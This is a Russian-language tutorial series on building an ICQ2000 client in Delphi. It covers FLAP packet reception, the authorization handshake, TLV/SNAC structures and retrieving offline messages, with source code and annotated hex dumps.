Я лично делаю проверку(сверку) только по Cookie. Выдавая запрос, запоминаю Cookie. А когда приходит ответ от сервера, то процедура-обработчик SNAC_15_3 просто использует WinAPI функцию PostMessage для передачи ответа окну, которое выдало запрос. В параметрах PostMessage указан Cookie из ответа сервера. Какое окно его опознает - значит тому окну и предназначен ответ.

Работа процедуры-обработчика SNAC_15_3 уже ранее рассматривалась. Сейчас она просто дополнена новыми блоками, обрабатывающими новые ответы сервера. Следует упомянуть, что на один (единственный) наш запрос сервер присылает сразу целый массив из SNAC-ответов. Это типичная ситуация.

Например: запрашиваем Инфо о клиенте SNAC(15,2) [подтип запроса B204].

В ответ получим сразу восемь SNAC-ответов.

Вот их краткие названия-описания:

  • main-home-info
  • homepage-more-info
  • more-email-info
  • additional-info
  • work-info
  • about
  • personal-interests
  • past-background

Все полученные данные теперь сохраняются в файле .dat




ICQ2000 сделай сам 3


Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Разговор по аське:
- Что замолчал?
- Пальцы устали.

Итак, рассмотрим механизм приема FLAP-пакетов. Прием пакетов - это обработчик события onReadData нашего ClientSocket. Задача этого обработчика сводится только к приему FLAP-пакетов и формировании из них связного списка типа FIFO (первым пришел, первым и ушел). Главное корректно отработать границы пакетов.

Каждый пакет принимается в два захода:

  1. сначала принимаем только заголовок FLAP-пакета (всего 6 байт);
  2. затем, узнав из заголовка длину блока данных, принимаем последний (ни байтом больше, ни байтом меньше).

Приняв полный пакет, формируем из него элемент списка FIFO и присоединяем его к списку. Смотрим, как это сделано у меня. Для прима заголовка и блока данных FLAP-пакета объявлены два массива: FLAP и FLAP_DATA соответственно.


 procedure TForm1.CLI_ReadData(Sender:TObject; Socket:TCustomWinSocket);
 var num,Bytes,fact : integer;
     pFIFO,CurrFIFO : PFLAP_Item;
     buf : array[0..100] of byte;
 begin
 // узнаем, сколько всего данных уже есть в буфере ClientSocketa
      num := Socket.ReceiveLength;
 // в icq_Login мы установили isHdr, т.к. сначала ожидаем заголовок
      if isHDR then begin
 // если есть как минимум 6 байт, то читаем 6 байт заголовка в FLAP
        if num>=6 then begin
          Socket.ReceiveBuf(FLAP,6);
 // из заголовка узнаем длину блока данных FLAP-пакета
          NeedBytes := swap(FLAP.Len);
 // сбрасываем в начало индекс массива FLAP_DATA
          index := 0;
 // сбпасываем, чтобы следующее чтение было в FLAP_DATA
 // и выходим из обработчика
        isHDR := false;
        end else begin
              // вообще-то ситуация, когда в Sockete меньше 6-и байт
              // пока никак не контролируется (возникает очень редко :)
              // отмечаю этот факт только в окне отладки 
              M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
              Socket.ReceiveBuf(buf,num);
              M(Memo,Dim2Hex(@(buf),num));
              M(Memo,'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!');
            end;
 
 // if not isHDR then чтение в FLAP_DATA
 end else begin
 // сколько байт читать уже известно: NeedBytes
          Bytes := NeedBytes;
 // читаем их в FLAP_DATA[Index]
          fact := Socket.ReceiveBuf(FLAP_DATA[index],Bytes);
 // если в Sockete было данных меньше чем нужно, 
 // педвинем Index и NeedBytes для следующего входа в обработчик
          inc(index,fact);
          dec(NeedBytes,fact);
          if NeedBytes = 0 then begin
 // если весь блок данных FLAP-пакета уже в FLAP_DATA,
 // тогда выделаем память для элемента списка FIFO (PFLAP_Item) 
            New(pFIFO);
 // копируем заголовок
            pFIFO^.FLAP := FLAP;
            pFIFO^.Next := nil;
 // выделяем память для блока данных и копируем его
            GetMem(pFIFO^.DATA,index);
            move(FLAP_DATA,PFIFO^.Data^,swap(FLAP.Len));
 
 // добавляем указатель на PFLAP_Item в список
            CurrFIFO:=HeadFIFO;
            if HeadFIFO<>nil then begin
              while CurrFIFO<>nil do
                if CurrFIFO^.Next=nil then begin
                  CurrFIFO^.Next:=pFIFO;
                  break;
                end else CurrFIFO:=CurrFIFO^.Next;
            end else HeadFIFO:=pFIFO;
 // устанавливаем isHDR (в true) уже для прима заголовка
 // последующих FLAP-пакетов 
            isHDR := true;
          end;
      end;
 end;
 

Дальнейшая обработка списка FIFO - это задача уже другой процедуры.




ICQ2000 сделай сам 4


Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Познакомился интернетчик с девушкой, погуляли, он и спрашивает:
- Как бы нам еще встретиться?
Она ему на бумажке телефон написала и уехала. Он смотрит на бумажку: "На ICQ не похоже... На IP тоже..."
Так и не состоялась любовь...

Итак, в обработчике события ClientSocket.onRead_Data из FLAP-пакетов формируется список FIFO. Обработку этого списка производит таймерная процедура MainT. Ее задача заключается в следующем:

  • взять из очереди FLAP-пакет (если очередь не пуста);
  • сформировать из него временный объект (запись) типа PPack. (Для его обработки в модуле Packet находятся соответствующие функции и процедуры);
  • направить его на вход одного из двух обработчиков;
  • после обработки удалить временный объект.

 procedure TForm1.MainTTimer(Sender: TObject);
 var FindFIFO : PFLAP_Item;
     tmp : PPack;
 begin
 // закроем вход в таймер (реентерабельность нам не нужна) 
      MainT.Enabled := false;
 // проверим не пуста ли очередь
      while HeadFIFO<>nil do begin
 // если есть ожидающие пакеты, то берем первый из них
        FindFIFO := HeadFIFO;
 // и корректируем очередь
        if HeadFIFO^.Next=nil then HeadFIFO := nil
        else HeadFIFO := HeadFIFO^.Next;
 // создаем временный Pak
        tmp := PacketNew;
 // переносим в него данные из пакета очереди
 // сначала FLAP-заголовок
        PacketAppend(tmp,@FindFIFO^.FLAP,sizeof(FLAP_HDR));
 // затем блок данных
        PacketAppend(tmp,FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
 // освобождаем пакет, который из очереди
        FreeMem(FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len));
        Dispose(FindFIFO);
 // пропишем его дамп в файл "<твой UIN>.log"
        debugFILE(tmp,'< ');
 // если в данный момент мы соединены с сервером авторизации
        if isAuth then
 // то напавим пакет в обработчик AuthorizePart 
           AuthorizePart(tmp)
        else
 // либо в основной обработчик
           WorkPart(tmp);
 // удалим временный Pak
        PacketDelete(tmp);
      end;
 // откроем вход в таймер
      MainT.Enabled := true;
 end;
 

Вполне логично, что дальше надо рассмотреть работу процедуры AuthorizePart, т.к. самый первый FLAP-пакет попадет именно в нее.




ICQ2000 сделай сам 5


Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Лежат двое влюбленных в постели, утомленные первым бурным соитием.
Она:
- Милый, а ты помнишь, когда мы с тобой познакомились?
Он:
- Погоди... ща отдышусь и пойду хистори в аське посмотрю.

Перед рассмотрением работы обработчика AuthorizePart надо немного поговорить и о протоколе.

Перед тем, как подключиться к ICQ-серверу и начать работать мы должны пройти авторизацию на Authorization Server. Его адрес - login.icq.com:5190.

Необходимо:

  • соединиться с Authorization Server;
  • передать ему пакет с UINом и паролем;
  • получить от него IP-адрес и порт основного сервера и Cookie (256 байт случайных данных). Cookie - это будет наш пропуск при последующем (после авторизации) коннекте к основному рабочему серверу;
  • разьединиться с Authorization Server.

Именно к Authorization Server инициируется соединение в процедуре icq_Login.

Сервер отвечает нам маленьким пакетом:

FLAP
Command Start 2A
Channel ID 01
Sequence Number XX XX
Data Field Length 00 04
Data 00 00 00 01
 

В нем только лишь 00 00 00 01. Для нас - это сигнал начать передачу пакета с авторизационными данными (с UINом и паролем).

Сейчас уже пора разобраться и с форматом блока данных FLAP-пакета.

Можно сказать, что показанный выше пакет совсем не имеет никакой структуры: просто DWORD и все. В большинстве случаев в FLAP-пакете размещены данные, которые упакованы еще в один протокол: т.н. SNAC. В этом случае пакет данных выглядит так:

FLAP
Command Start 2A
Channel ID 02
Sequence Number word
Data Field Length word

SNAC
Family ID word
SubType ID word
Flags[0] byte
Flags[1] byte
Request ID dword
SNAC Data variable
 

 
SNAC
SNAC - это обычное содержимое блока данных FLAP-пакета в основной рабочей фазе соединения. Т.е. SNACи посылаются только через Сhannel ID = 2.

В любом FLAP-пакете может находиться только один пакет SNAC.

Прием (анализ) и передача SCACов - это то основное, что предстоит делать, чтобы реализовать все функции ICQ-клиента. Будь то передача списка контактов, или изменение нашего статуса, или получение и передача сообщений, или запрос информации о любом клиенте, для любого запроса и ответа на него есть свой SNAC (FamilyID, SubTypeID). Из сказанного видно, что вся смысловая информация помещена в SNACи. И UINы, и никнэймы, и и-мэйлы с хоумпэйджами. Конечно же они не просто так накиданы в SNACи. Они там размещены в юнитах, которые называются TLV.

TLV
TLV дословно означает - "Type, Length, Value" ("Тип, Длина, Значение"). Его структура такая:
TLV
(T)ype code word
(L)ength code word
(V)alue field variable length
 

В TLV упаковывается все, что используется в ICQ-протоколе: текстовые строки, байты, слова, двойные слова, другие массивы и т.д. и т.п.. На тип содеожимого TLV указывает Type code. Чаще всего TLV располагаются внутри SNACов, но это не является обязательным условием. Они могут также напрямую использоваться в блоке данных FLAP-пакета. Именно напрямую (т.е. без использования SNACов) TLV задействованы на этапе авторизации.

Этот механизм мы и рассмотрим именно сейчас, т.к. мы соединены уже с Authorization Server и получили от него добро в виде DWORD=00000001 на передачу нашего UINа и пароля.


 procedure TForm1.AuthorizePart(p:PPack);
 var ss : string;
     T : integer;
     tmp : PPack;
 begin
      // позиционируемся на начало блока данных, пропустив заголовок
      PacketGoto(p,sizeof(FLAP_HDR));
      // если FLAP-данные содержат лишь 00000001,
      // то это самое начало сессии 
      if (swap(p^.Len)=4)and
         (swap(p^.SNAC.FamilyID)=0)and
         (swap(p^.SNAC.SubTypeID)=1) then begin
        M(Memo,'< Authorize Server CONNECT');
               // каждый раз, когда начинается новая TCP-сессия,
               // присваиваем SEQ случайное начальное значение
        SEQ := random($7FFF);       // в ответ надо передать пакет с UINом и паролем
        // создаем объект-пакет типа PPack: в нем формируется
        // FLAP-заголовок с Chanel_ID=1 
        tmp := CreatePacket(1,SEQ);
        // сначала надо вставить такой же DWORD=00000001
        // (еще надо помнить о порядке следования байтов в DWORD !!!)
        PacketAppend32(tmp,DSwap(1));
        // далее в поле данных добавляются несколько TLV
        // это наш UIN -  TLV(1)
        TLVAppendStr(tmp,$1,s(UIN));
        // и закодированный пароль - TLV(2) 
        TLVAppendStr(tmp,$2,Calc_Pass(PASSWORD));
        // описывать содержимое других TLV особого смысла нет
        TLVAppendStr(tmp,$3,
          'ICQ Inc. - Product of ICQ (TM).2000a.4.31.1.3143.85');
        TLVAppendWord(tmp,$16,$010A);
        TLVAppendWord(tmp,$17,$0004); // 4 - для ICQ2000a
        TLVAppendWord(tmp,$18,$001F);
        TLVAppendWord(tmp,$19,$0001);
        TLVAppendWord(tmp,$1A,$0C47);
        TLVAppendDWord(tmp,$14,$00000055);
        TLVAppendStr(tmp,$0F,'en');
        TLVAppendStr(tmp,$0E,'us');
        // посылаем пакет через  ClientSocket
        // (здесь tmp-пакет будет также и удален)
        PacketSend(tmp);
        M(Memo,'> Auth Request (Login)');
 
      end else
      // на это сервер ответит так:
      // его ответ содержит TLV(1) - т.е. наш UIN
      if (TLVReadStr(p,ss)=1)and(ss=s(UIN))then begin
         // если это так, то считаем следующий TLV
         T := TLVReadStr(p,ss);
         case T of
           // если это TLV(5) - значит это адрес и порт основного сервера
           5: g>begin // BOS-IP:PORT
             M(Memo,'< Auth Responce (COOKIE)');
             // запоминаем и адрес и порт
             WorkAddress := copy(ss,1,pos(':',ss)-1);
             WorkPort := strtoint(copy(ss,pos(':',ss)+1,
                               length(ss)-pos(':',ss)));
             // за ними должен быть и TLV(6) - т.н. COOKIE (256 байт)
             // принимаем его прямо в переменную sCOOKIE
             // (он пригодится при коннекте к основному серверу)
             if (TLVReadStr(p,sCOOKIE)=6) then begin;
               // COOKIE получен и значит пора разъединяться
               // формируем пустой пакет с Channel_ID=4
               tmp:=CreatePacket(4,SEQ); // ChID=4
               // который и передаем
               PacketSend(tmp);
               // закрываем свой ClientSocket
               OfflineDiscconnect1Click(self);
               // говорим себе, что авторизация пройдена
               isAuth := false;
               // настраиваем ClientSocket на адрес:порт
               // основного (BOS) сервера
               CLI.Address := WorkAddress;
               CLI.Host := '';
               CLI.Port := WorkPort;
               M(Memo,'');
               M(Memo,'>>> Connecting to BOS: '+ss);
               // и коннектимся к нему
               CLI.Open;
 { ******************************************* }
 { в этом месте заканчивается этап авторизации }
 { ******************************************* }
             end;
           end;
           // а, например, в случае неверного UINа или пароля
           // мы получим TLV(4) и TLV(8)
           4,8: begin
                M(Memo,'< Auth ERROR');
                M(Memo,'TLV($'+inttohex(T,2)+') ERROR');
                M(Memo,'STRING: '+ss);
                if pos('http://',ss)>0 then begin
                  // и даже можем загрузить в браузер присланный нам URL
                  // с описанием ошибки
                  // Web.Navigate(ss); 
                  // {это навигатор с панели компонентов Делфи}
                end;
                TLVReadStr(p,ss); M(Memo,ss);
                // конечно же закрываем ClientSocket
                OfflineDiscconnect1Click(self);
                M(Memo,'');
              end;
         end;
      end;
 end;
 

После успешного прохождения авторизации, мы подключаемся к основному рабочему серверу ICQ. Т.к. флажек isAuth уже сброшен, то диспетчер MainTTimer все пакеты будет направлять на обработчик WorkPart. Его построение во многом схоже с только, что рассмотренным обработчиком AuthorizePart.

В таком случае продолжим...




ICQ2000 сделай сам 7


Автор: Alexander Vaga
WEB-сайт: http://icq2000cc.hobi.ru

Надпись на могиле аськера: <Он добавил мир в игнор-лист>.

Для разбора конкретного примера возьмем ситуацию, когда мы запрашиваем у ICQ-сервера оффлайновые сообщения (т.е. те, которые накопились на сервере, пока нас не было в онлайне).

Запрос оффлайновых сообщений делаем с помощью SNAC(15,2), а ответ на него получим соответственно в SNAC(15,3). Оба этих SNACa имеют очень простой формат. Они содержат в себе только по одному TLV, а именно TLV(1). На первый взгляд все очень просто. Но... TLV(1), в свою очередь, имеет очень ветвистую структуру. (Такие особенности имеют и некоторые другие SNACи, например, SNAC(4,6) для передачи и SNAC(4,7) для приема сообщений).

В заметках к протоколу ICQv7 от Massimo Melina есть описание SNAC(15,2). Этот SNAC используется во множестве различных запросов. Я лишь выделю те строки, которые будут включены в наш запрос, а именно:

  1. заголовок самого SNAC(15,2);
  2. TLV(1), который включает в себя:
    • длину, следующих далее данных,
    • наш UIN,
    • тип запроса ($3С00),
    • cookie (по которому мы узнаем ответный SNAC(15,3) ).

В описании это находится вот здесь:


 SNAC 15,02
  TLV(1)
    WORD   (LE) bytes remaining, useless
    UIN    my uin
    WORD   type
    WORD   cookie
    type = 3C00       // ask for offlines messages
      nothing
    type = 3E00       // ack to offline messages,
      nothing   type=D007
      WORD  subtype
      subtype=9808  xml-stype in an LNTS
        LNTS  '' name of required data ''
      subtype=1F05       // simple query info
        UIN   user to request info     subtype=B204       // query info about user
        UIN   user to request info     subtype=D004       // query my info
        UIN   my uin
      ..............
      ..............
 
      ..............
 

В исходном коде это выглядит так:


 // Get offline messages
 // создаем FLAP-заголовок с Channel_ID=2 и SEQ++
 tmp := CreatePacket(2,SEQ);
 // добавляем SNAC-заголовок SNAC(15,2)
 SNACAppend(tmp,$15,$2);
 // добавляем TLV(1) ($0001-Type, $000A-Length)
 PacketAppend32(tmp,dswap($0001000A));
 // добавляем саму Value Для TLV(1)
 PacketAppend16(tmp, swap($0800));// бесполезная длина
 PacketAppend32(tmp, UIN);        // наш UIN
 PacketAppend16(tmp, swap($3C00));// тип запроса
 PacketAppend16(tmp, swap($0200));// cookie
 PacketSend(tmp);
 M(Memo,'> Get offline messages');
 

Этот кусок кода сгенерирует следующий дамп:


 2A 02 36 86 00 18 00 15
 00 02 00 00 00 87 00 02
 00 01 00 0A 08 00 XX XX
 XX XX 3C 00 02 00
 

Разпишем его в табличном виде для лучшего восприятия:

FLAP
Command Start 2A
Channel ID 02
Sequence Number 36 86
Data Field Length 00 18
SNAC (15, 02)
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 87 00 02

TLV (1)
Type 00 01
Length 00 0A
Value 08 00
 
XX XX XX XX наш UIN
3C 00 запрос на оффлайновые сообщения
02 00 cookie


Передадим пакет и от сервера получим FLAP-пакет с таким дампом:


 2A 02 74 6D 00 4D 00 15
 00 03 00 01 00 87 00 02
 00 01 00 3F 3D 00 XX XX
 XX XX 41 00 02 00 F8 5F
 F1 08 D2 07 02 0C 10 12
 01 00 25 00 EF F0 E8 E2
 E5 F2 0D 0A FD F2 EE 20
 F2 E5 F1 F2 EE E2 EE E5
 20 F1 EE EE E1 F9 E5 ED
 E8 E5 20 21 21 21 0D 0A
 00 00 00
 

И снова распишем его в таблицу:

FLAP
Command Start 2A
Channel ID 02
Sequence Number 74 6D
Data Field Length 4D 00
SNAC (15, 03)
Family ID 00 15
SubType ID 00 03
Flags[0] 00
Flags[1] 01
Request ID 00 87 00 02 (такой же как и в запросе)
TLV (1)
Type 00 01
Length 00 3F
Value 3D 00
 
XX XX XX XX наш UIN
41 00 тип: оффлайновое сообщение
02 00 cookie (как и в запросе)
тело сообщения
XX XX XX XX его UIN
D2 07 год (2002)
02 месяц (февраль)
0C день (12)
10 час (16)
12 минуты (18)
01 под-тип сообщения
(обычное)
00 флаги сообщения (?)
25 00 длина сообщения (37)
EF F0 E8 E2 E5 F2 0D 0A FD F2 EE 20 F2 E5 F1 F2 EE E2 EE E5 20 F1 EE EE E1 F9 E5 ED E8 E5 20 21 21 21 0D 0A 00 текст сообщения:

"привет
это тестовое сообщение !!!"
00 00 присутствют, если сообщение единственное


В протокольных заметках я выделю ту часть описания SNAC(15,3), которая соответствует таблице:


 SNAC 15,03
 TLV(1)
   WORD (LE) bytes remaining, useless
   UIN my uin
   WORD message-type
   WORD cookie
     message-type = 4100 // offline message
       UIN his uin
       WORD year (LE)
       BYTE month (1=jan)
       BYTE day
       BYTE hour (GMT time)
       BYTE minutes
       BYTE msg-subtype
       BYTE msg-flags
       LNTS msg
       WORD 0000, present only in single messages
     message-type = 4200 // end of offline messages
       BYTE unknown, usually 0
     message-type = D007
       2 BYTE unknown, usually 98 08
       WORD length of the following NTS
       NTS ""field-type""
       field-type = DataFilesIP
         6 BYTE unk, usually 2A 02 44 25 00 31
     message-type = DA07
       3 BYTE subtype
         subtype=A4010A // wp-full-request result
           wp-result-info
         ..............
         ..............
 
         ..............
         subtype=B4000A // ack to remove user
           empty
         subtype=AA000A // ack to change password
           empty
 

И "нарешти" - код для приема SNAC(15,3). Множественные комментарии, кажется тут уже излишни.


 procedure TForm1.SNAC_15_3(p:PPack);
 var MessageType,Cookie : word;
     myUIN,hisUIN : longint;
     year,month,day,hour,minute,typemes,subtypemes,lenmes : word;
     tmp : PPack;
 begin
      // просто пролетаем над началом TLV(1)
      PacketRead32(p);
      PacketRead16(p);
 
      // а дальше имена переменных объясняют больше, чем комментарии
      myUIN := PacketRead32(p);
      MessageType := swap(PacketRead16(p));
      Cookie := swap(PacketRead16(p));
      M(Memo,'< Cookie: $'+inttohex(Cookie,4));
      case MessageType of
      $4100: begin // OFFLINE MESSAGE
              hisUIN := PacketRead32(p);
              M(Memo,'< Message-Type: $'+inttohex(MessageType,4));
              M(Memo,'< OFFLINE MESSAGE from UIN: '+s(hisUIN));
              year := PacketRead16(p);
              month := PacketRead8(p);
              day := PacketRead8(p);
              hour := PacketRead8(p);
              minute := PacketRead8(p);
              typemes := PacketRead8(p);
              subtypemes := PacketRead8(p);
              lenmes := PacketRead16(p);
              DoMsg(false,typemes,lenmes,PCharArray(@(p^.data[p^.cursor])),
                   hisUIN,UTC2LT(year,month,day,hour,minute));
             end;
       end;
 end;
 

Тут можно на недельку передохнуть...

В скором времени я добавлю такие модули:

  • передача сообщений (SendMess);
  • прием сообщений (MessFrom);
  • информация о пользователе (UserInfo);
  • поиск пользователей по разным критериям (SearchUser);

...следите за обновлениями сайта




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS